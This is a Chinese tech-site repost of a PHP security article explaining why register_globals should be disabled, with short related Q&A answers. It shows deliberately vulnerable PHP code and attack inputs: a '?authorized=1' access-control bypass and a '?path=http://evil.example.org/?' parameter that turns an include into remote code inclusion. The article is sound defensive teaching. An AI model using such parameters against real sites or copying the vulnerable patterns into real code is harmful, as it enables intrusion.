欢迎您访问我爱IT技术网,今天小编为你分享的编程技术是:【PHP安全之Register Globals】,下面是详细的分享!
PHP安全之Register Globals
register_globals参数在 PHP 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞,但是的确是一个安全风险。因此,应该始终在开发过程中屏蔽register_globals。
为什么这是一个安全风险?每一种情形都需要的单独说明才能描述清楚,对于所有情形只给出一个恰当的例子是非常困难的。不管怎样,最常见的例子是在PHP手册中描述的:
<?phpif (authenticated_user()){$authorized=true;}if ($authorized){include '/highly/sensitive/data.php';}?>当参数register_globals开启的时候,这个页面可以使用?authorized=1的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,而不是register_globals的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,普通的全局变量(比如本例中的$authorized)将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且将参数error_reporting设置为E_ALL,这样使用未初始化的变量就不会在开发的时候被忽略。
另外一个关于register_globals的例子是在使用include包含动态路径的时候可能产生问题:
<?phpinclude "$path/script.php";?>当参数register_globals开启的时候,这个页面可以使用?path=http://evil.example.org/?的参数访问,使得本例中的代码和下面的代码等同:
<?phpinclude 'http://evil.example.org/?/script.php';?>如果参数allow_url_fopen开启的时候(即便是在php.ini-recommended中,默认也是开启的),这将如同包含本地文件一般包含http://evil.example.org/这样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的开源项目中都发现。
初始化$path可以避免这个隐患,而且不用屏蔽参数register_globals。然而开发人员的失误可能会产生没有初始化的变量,修改全局配置以屏蔽参数register_globals可以尽可能的避免这种隐患被忽视。
便利性总是另人愉快的,过去我们不得不手工区分哪些是表单数据,哪些是普通变量。而使用$_POST和$_GET内建全局数组也是非常方便的,并且承担因为开启参数register_globals造成的风险很不值得。虽然我完全不同意将开启参数register_globals等同于薄弱的安全,但是我还是强烈建议将其设置为关闭。
需要补充说明的是,屏蔽参数register_globals会帮助开发人员更加留意数据的来源,而这正是一个有安全意识的开发人员所应该具备的素质。
以上所分享的是关于PHP安全之Register Globals,下面是编辑为你推荐的有价值的用户互动:
相关问题:php globals 安全吗
答:1.PHP 4.2.0 版开始配置文件中 register_globals 的默认值从 on 改为 off 了,虽然你可以设置它为On,但是当你无法控制服务器的时候,你的代码的兼容性就成为一个大问题,所以,你最好从现在就开始用Off的风格开始编程。 2.当 register_globals ... >>详细
相关问题:AppServ安装mediawiki-1.8-.2出现Warning: PHP's r...
答:告诉 你关闭掉 register_globals 配置 在 php.ini里 找到 该项 后面 on改成 off 然后重启 appserv 就可以了 ----- 如果不知道 php.ini在哪 的话 可以写下面代码执行看看 里面 找到 Loaded Configuration File 项 旁边的 文件路径就是 php.ini 文... >>详细
相关问题:php.ini找不到参数(register_globals = On)
答:是不是这是一个扩展包? 如果是的话,下载扩展包,然后再php.ini中添加配置语句。 >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
